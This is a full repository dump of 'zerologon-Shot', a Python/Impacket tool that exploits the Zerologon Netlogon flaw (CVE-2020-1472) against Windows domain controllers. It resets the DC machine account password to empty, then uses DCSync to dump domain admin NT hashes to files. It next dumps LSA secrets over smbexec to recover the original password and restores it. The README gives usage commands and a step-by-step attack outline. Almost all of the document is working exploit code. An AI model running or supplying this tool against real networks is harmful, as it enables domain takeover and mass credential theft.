├── lib ├── __init__.py ├── ldap_ntlmInfo.py ├── restorepassword.py ├── secretsdump_nano.py └── exploit.py ├── README.md └── zerologon-Shot.py /lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /lib/ldap_ntlmInfo.py: -------------------------------------------------------------------------------- 1 | import struct 2 | import contextlib 3 | 4 | from impacket import ntlm 5 | from impacket.ldap import ldap 6 | from impacket.ldap.ldapasn1 import BindRequest 7 | from impacket.ntlm import getNTLMSSPType1 8 | 9 | class LDAPInfo(): 10 | def __init__(self, target, ldaps): 11 | self.target = target 12 | self.ldaps = ldaps 13 | 14 | def ldapinfo(self): 15 | try: 16 | ldapconnection = ldap.LDAPConnection(f'{"ldap" if not self.ldaps else "ldaps"}://{self.target}') 17 | bindRequest = BindRequest() 18 | bindRequest["version"] = 3 19 | bindRequest["name"] = "" 20 | negotiate = getNTLMSSPType1() 21 | bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() 22 | response = ldapconnection.sendReceive(bindRequest)[0]["protocolOp"] 23 | ntlm_info = bytes(response["bindResponse"]["matchedDN"]) 24 | return self.parse_challenge(ntlm_info) 25 | except Exception: 26 | return 27 | 28 | def parse_challenge(self, challange): 29 | target_info = { 30 | "hostname": None, 31 | "domain": None, 32 | "os_version": None 33 | } 34 | challange = ntlm.NTLMAuthChallenge(challange) 35 | av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]]) 36 | if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME]: 37 | with contextlib.suppress(Exception): 38 | target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le") 39 | if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME]: 40 | with contextlib.suppress(Exception): 41 | target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le") 42 | if "Version" in challange.fields: 43 | version = challange["Version"] 44 | if len(version) >= 4: 45 | major_version = version[0] 46 | minor_version = version[1] 47 | product_build = struct.unpack(" 2 | 3 | # zerologon-Shot 4 | Zerologon exploit with restore DC password automatically 5 | 6 | #### Table of Contents 7 |
    8 |
  1. 9 | Getting Started 10 | 13 |
  2. 14 |
  3. Usage
  4. 15 |
  5. Screenshots
  6. 16 |
  7. How it works?
  8. 17 |
  9. Disclaimer
  10. 18 |
  11. References
  12. 19 |
20 | 21 | ## Getting Started 22 | 23 | ### Installation 24 | 25 | _Only need latest version of Impacket_ 26 | 27 | 1. Clone the impacket repository 28 | ```sh 29 | git clone https://github.com/fortra/impacket 30 | ``` 31 | 2. Install imapcket 32 | ```sh 33 | cd imapcket && sudo pip3 install . 34 | ``` 35 | 3. Enjoy it :) 36 | ```sh 37 | git clone https://github.com/XiaoliChan/zerologon-Shot.git 38 | ``` 39 | 40 |

(back to top)

41 | 42 | ## Usage 43 | ``` 44 | python3 zerologon-Shot.py ip_addr 45 | 46 | or 47 | 48 | python3 zerologon-Shot.py domain/'dc_name$'@ip_addr 49 | 50 | E.g. 51 | python3 zerologon-Shot.py 192.168.85.210 52 | python3 zerologon-Shot.py xiaoli-2008.com/'WIN-D6SJTQG7I0K$'@192.168.85.210 53 | python3 zerologon-Shot.py xiaoli-2008.com/'WIN-D6SJTQG7I0K$'@192.168.85.210 -dc-ip 192.168.85.210 54 | ``` 55 |

(back to top)

56 | 57 | ## Screenshots 58 | - #### _Enter to win!!!_ 59 | ![image](https://github.com/XiaoliChan/zerologon-Shot/assets/30458572/71d6f8c7-65cc-4f9b-9be6-27f43b674be3) 60 | 61 | ![image](https://github.com/XiaoliChan/zerologon-Shot/assets/30458572/816959b8-0e09-4d95-a6d4-b9c2e38d418a) 62 | 63 | ![image](https://github.com/XiaoliChan/zerologon-Shot/assets/30458572/719d7130-2f6a-4c59-9cc4-29a4b42bdbb2) 64 | 65 |

(back to top)

66 | 67 | ## How it works? 68 | - First: Enumerate host info via ldap (get hostname & domain) 69 | - Second: use zerologon exploit to attack DC (after the exploit is finished, the DC password now is cleared). 70 | - Third: authenticate into LDAP with DC computer account (password is blank) to get domain admins. 71 | - Fourth: retrieve all domain admins credentials with dcsync. 72 | - Fifth: use the domain admin's credential to retrieve DC LSA secrets to get "plain_password_hex". 73 | - Last: restore DC password with "plain_password_hex" by domain admin. 74 |

(back to top)

75 | 76 | ## Disclaimer 77 | The spirit of this Open Source initiative is to help security researchers, and the community, speed up research and educational activities related to the implementation of networking protocols and stacks. 78 | 79 | The information in this repository is for research and educational purposes and not meant to be used in production environments and/or as part of commercial products. 80 | 81 | If you desire to use this code or some part of it for your own uses, we recommend applying proper security development life cycle and secure coding practices, as well as generate and track the respective indicators of compromise according to your needs. 82 |

(back to top)

83 | 84 | ## References 85 | * [impacket](https://github.com/fortra/impacket/) 86 | * [dirkjanm's CVE-2020-1472](https://github.com/dirkjanm/CVE-2020-1472) 87 | * [A different way of abusing Zerologon](https://dirkjanm.io/a-different-way-of-abusing-zerologon/) 88 |

(back to top)

89 | -------------------------------------------------------------------------------- /zerologon-Shot.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import argparse 3 | 4 | from binascii import unhexlify 5 | 6 | from impacket.ldap import ldap 7 | from impacket.examples.utils import parse_target 8 | 9 | from lib.exploit import zerologon 10 | from lib.ldap_ntlmInfo import LDAPInfo 11 | from lib.secretsdump_nano import dump 12 | from lib.restorepassword import ChangeMachinePassword 13 | 14 | class wrapper(): 15 | def __init__(self, username=None, target=None, domain=None, kdcHost=None, ldaps=False): 16 | self.dcName = username 17 | self.domain = domain 18 | self.dc_ip = target 19 | self.kdcHost = kdcHost 20 | self.ldaps = ldaps 21 | self.baseDN = "" 22 | 23 | def pwn(self): 24 | if not (self.dcName or self.domain): 25 | ldapinfo = LDAPInfo(self.dc_ip, self.ldaps) 26 | result = ldapinfo.ldapinfo() 27 | if result: 28 | self.dcName = f'{result["hostname"]}$' 29 | self.domain = result["domain"] 30 | print(f"[*] LDAP enumerate result: hostname: {self.dcName}, domain: {self.domain}") 31 | else: 32 | print("[-] Failed to get target ntlm info with ldap service, please provide it manually.") 33 | return 34 | 35 | # Create baseDN 36 | for i in self.domain.split("."): 37 | self.baseDN += f"dc={i}," 38 | # Remove last "," 39 | self.baseDN = self.baseDN[:-1] 40 | 41 | # Check if target has been attack before, if can auth with none password, then skip zerologon exploit 42 | try: 43 | print(f"[*] Try to auth ldap use user: {self.dcName} with none password (if target has been pwned before)") 44 | ldapConnection = ldap.LDAPConnection(f'{"ldap" if not self.ldaps else "ldaps"}://{self.domain}', self.baseDN, self.kdcHost) 45 | ldapConnection.login(self.dcName, "", self.domain, "", "") 46 | except ldap.LDAPSessionError as e: 47 | if str(e).find("strongerAuthRequired") >= 0: 48 | print('[-] Target need ldaps, please try with "-ssl"') 49 | sys.exit(0) 50 | else: 51 | # Zerologon exploit 52 | print("[*] Auth failed, start attacking.") 53 | exploit = zerologon(self.dc_ip, self.dcName) 54 | exploit.perform_attack() 55 | else: 56 | print("[+] Successful authentication with none password!") 57 | 58 | # Dump first domain admin nthash 59 | secretsdump = dump(dc_ip=self.dc_ip, dcName=self.dcName, domain=self.domain, baseDN=self.baseDN, kdcHost=self.kdcHost, ldaps=self.ldaps) 60 | username, nthash = secretsdump.NTDSDump_BlankPass() 61 | 62 | # Get Machine account hexpass 63 | hexpass = secretsdump.LSADump(username, nthash) 64 | 65 | # Restore machine account password 66 | action = ChangeMachinePassword(self.dc_ip, self.dcName, unhexlify(hexpass.strip("\r\n"))) 67 | action.changePassword() 68 | 69 | if __name__ == '__main__': 70 | parser = argparse.ArgumentParser(add_help=True, description="Zerologon with restore DC password automatically.") 71 | parser.add_argument("target", action="store", help="[[domain/]username[:password]@]") 72 | parser.add_argument("-dc-ip", metavar="ip address", action="store", help="IP Address of the domain controller. If ommited it use the ip part specified in the target parameter") 73 | parser.add_argument("-ssl", action="store_true", help="Enable LDAPS") 74 | 75 | options = parser.parse_args() 76 | 77 | domain, username, _, address = parse_target(options.target) 78 | 79 | kdcHost = options.dc_ip if options.dc_ip else address 80 | 81 | executer = wrapper(username, address, domain, kdcHost, options.ssl) 82 | executer.pwn() -------------------------------------------------------------------------------- /lib/secretsdump_nano.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | from io import StringIO 4 | 5 | from impacket.ldap import ldap 6 | from impacket.smbconnection import SMBConnection 7 | from impacket.examples.secretsdump import RemoteOperations, NTDSHashes, LSASecrets 8 | 9 | class dump(): 10 | def __init__(self, dc_ip, dcName, domain, baseDN, kdcHost, ldaps): 11 | self.remoteHost = dc_ip 12 | self.remoteName = dcName # Don't need to remove "$" sign here 13 | self.dcName = dcName 14 | self.domain = domain 15 | self.baseDN = baseDN 16 | self.kdcHost = kdcHost 17 | self.ldaps = ldaps 18 | 19 | def NTDSDump_BlankPass(self): 20 | # Initialize LDAP Connection 21 | if self.kdcHost is None: 22 | self.kdcHost = self.remoteHost 23 | 24 | ldapConnection = ldap.LDAPConnection(f'{"ldap" if not self.ldaps else "ldaps"}://{self.domain}', self.baseDN, self.kdcHost) 25 | ldapConnection.login(self.dcName, "", self.domain, "", "") 26 | searchFilter = f"(&(|(memberof=CN=Domain Admins,CN=Users,{self.baseDN})(memberof=CN=Enterprise Admins,CN=Users,{self.baseDN}))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" 27 | 28 | # Initialize smb connection for get into DRSUAPI method 29 | smbConnection = SMBConnection(self.remoteName, self.remoteHost) 30 | # Blank password, lm & nt hashes 31 | smbConnection.login(self.dcName, "", self.domain, "", "") 32 | 33 | # Initialize remoteoperations 34 | outputFileName = "{}_{}_domain_admins".format(self.dcName, self.remoteHost) 35 | remoteOps = RemoteOperations(smbConnection=smbConnection, doKerberos=False, kdcHost=self.kdcHost, ldapConnection=ldapConnection) 36 | nh = NTDSHashes(None, None, isRemote=True, history=False, 37 | noLMHash=False, remoteOps=remoteOps, 38 | useVSSMethod=False, justNTLM=True, 39 | pwdLastSet=False, resumeSession=None, 40 | outputFileName=outputFileName, justUser=None, 41 | ldapFilter=searchFilter, printUserStatus=False) 42 | 43 | print(f'[+] Retrieved all domain admin cred. (save creds to file "{outputFileName}.ntds")') 44 | nh.dump() 45 | 46 | with open (f"{outputFileName}.ntds") as f: 47 | creds = f.readlines() 48 | 49 | # Domain admin to extra lsa secret to get DC history password (plain_password_hex) 50 | # Return all domain admins cred, for some reason, maybe some user creds are unavailable like PASSWORD_EXPIRED. 51 | nh.finish() 52 | return self.verifyCred(creds) 53 | 54 | def verifyCred(self, creds): 55 | for i in creds: 56 | username = i.split(":")[0] 57 | if "\\" in username: 58 | username = username.split("\\")[1] 59 | 60 | nthash = i.split(":")[3] 61 | try: 62 | smbConnection = SMBConnection(self.remoteName, self.remoteHost) 63 | smbConnection.login(username, "", self.domain, "", nthash) 64 | except Exception as e: 65 | print("[-] Domain admin: {} unavailable, reason: {}".format(username, str(e))) 66 | else: 67 | print("[+] Use domain admin: {} to restore DC password".format(username)) 68 | return username, nthash 69 | 70 | def LSADump(self, username, nthash): 71 | outputFileName = f"{self.dcName}_{self.remoteHost}_lsa" 72 | smbConnection = SMBConnection(self.remoteName, self.remoteHost) 73 | smbConnection.login(username, "", self.domain, "", nthash) 74 | remoteOps = RemoteOperations(smbConnection, False) 75 | remoteOps.setExecMethod("smbexec") 76 | remoteOps.enableRegistry() 77 | bootKey = remoteOps.getBootKey() 78 | SECURITYFileName = remoteOps.saveSECURITY() 79 | LSASecret = LSASecrets(SECURITYFileName, bootKey, remoteOps, True, False) 80 | current=sys.stdout 81 | sys.stdout = StringIO() 82 | LSASecret.dumpSecrets() 83 | LSASecret.exportSecrets(outputFileName) 84 | sys.stdout = current 85 | 86 | with open(f"{outputFileName}.secrets") as f: 87 | content = f.readlines() 88 | 89 | hexpass = "" 90 | for i in content: 91 | if "plain_password_hex" in i: 92 | hexpass = i.split(":")[2] 93 | 94 | LSASecret.finish() 95 | 96 | print("[+] Get DC origin password: \r\n{}".format(hexpass)) 97 | return hexpass -------------------------------------------------------------------------------- /lib/exploit.py: -------------------------------------------------------------------------------- 1 | ## Author: dirkjanm 2 | ## Repository: https://github.com/dirkjanm/CVE-2020-1472 3 | 4 | import sys 5 | 6 | from impacket.dcerpc.v5 import nrpc, epm 7 | from impacket.dcerpc.v5 import transport 8 | 9 | MAX_ATTEMPTS = 2000 # False negative chance: 0.04% 10 | 11 | class zerologon(): 12 | def __init__(self, dc_ip, remoteName): 13 | self.remoteName = remoteName.rstrip("$") 14 | self.dc_ip = dc_ip 15 | self.dc_handle = f"\\\\{self.remoteName}" 16 | 17 | def fail(self, msg): 18 | print(msg, file=sys.stderr) 19 | print("[-] This might have been caused by invalid arguments or network issues.", file=sys.stderr) 20 | sys.exit(2) 21 | 22 | def try_zero_authenticate(self, dce, dc_handle, remoteName): 23 | # Connect to the DC's Netlogon service. 24 | # Use an all-zero challenge and credential. 25 | plaintext = b"\x00" * 8 26 | ciphertext = b"\x00" * 8 27 | 28 | # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled. 29 | flags = 0x212fffff 30 | 31 | # Send challenge and authentication request. 32 | nrpc.hNetrServerReqChallenge(dce, dc_handle + "\x00", remoteName + "\x00", plaintext) 33 | try: 34 | server_auth = nrpc.hNetrServerAuthenticate3( 35 | dce, dc_handle + "\x00", remoteName + "$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, 36 | remoteName + "\x00", ciphertext, flags 37 | ) 38 | 39 | # It worked! 40 | assert server_auth["ErrorCode"] == 0 41 | return True 42 | 43 | except nrpc.DCERPCSessionError as ex: 44 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 45 | if ex.get_error_code() == 0xc0000022: 46 | return None 47 | else: 48 | self.fail(f"[-] Unexpected error code from DC: {ex.get_error_code()}.") 49 | except BaseException as ex: 50 | self.fail(f"[-] Unexpected error: {ex}.") 51 | 52 | def exploit(self, dc_handle, dce, remoteName): 53 | request = nrpc.NetrServerPasswordSet2() 54 | request["PrimaryName"] = dc_handle + "\x00" 55 | request["AccountName"] = remoteName + "$\x00" 56 | request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel 57 | authenticator = nrpc.NETLOGON_AUTHENTICATOR() 58 | authenticator["Credential"] = b"\x00" * 8 59 | authenticator["Timestamp"] = 0 60 | request["Authenticator"] = authenticator 61 | request["ComputerName"] = remoteName + "\x00" 62 | request["ClearNewPassword"] = b"\x00" * 516 63 | return dce.request(request) 64 | 65 | def perform_attack(self): 66 | # Keep authenticating until succesfull. Expected average number of attempts needed: 256. 67 | print("[+] Performing authentication attempts...") 68 | binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp") 69 | dce = transport.DCERPCTransportFactory(binding).get_dce_rpc() 70 | dce.connect() 71 | dce.bind(nrpc.MSRPC_UUID_NRPC) 72 | for attempt in range(0, MAX_ATTEMPTS): 73 | result = self.try_zero_authenticate(dce, self.dc_handle, self.remoteName) 74 | 75 | if result is None: 76 | print("=", end="", flush=True) 77 | else: 78 | break 79 | 80 | if result: 81 | print("\n[+] Target vulnerable, changing account password to empty string") 82 | result = None 83 | for attempt in range(0, MAX_ATTEMPTS): 84 | try: 85 | result = self.exploit(self.dc_handle, dce, self.remoteName) 86 | except nrpc.DCERPCSessionError as ex: 87 | # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working. 88 | if ex.get_error_code() == 0xc0000022: 89 | pass 90 | else: 91 | self.fail(f"[-] Unexpected error code from DC: {ex.get_error_code()}.") 92 | except BaseException as ex: 93 | self.fail(f"[-] Unexpected error: {ex}.") 94 | if result is None: 95 | print("=", end="", flush=True) 96 | else: 97 | break 98 | 99 | print("[+] Result: ", end="") 100 | print(result["ErrorCode"]) 101 | if result["ErrorCode"] == 0: 102 | print("[+] Exploit complete!") 103 | else: 104 | print("[-] Non-zero return code, something went wrong?") 105 | sys.exit(1) 106 | else: 107 | print("[-] Attack failed. Target is probably patched.") 108 | sys.exit(1) --------------------------------------------------------------------------------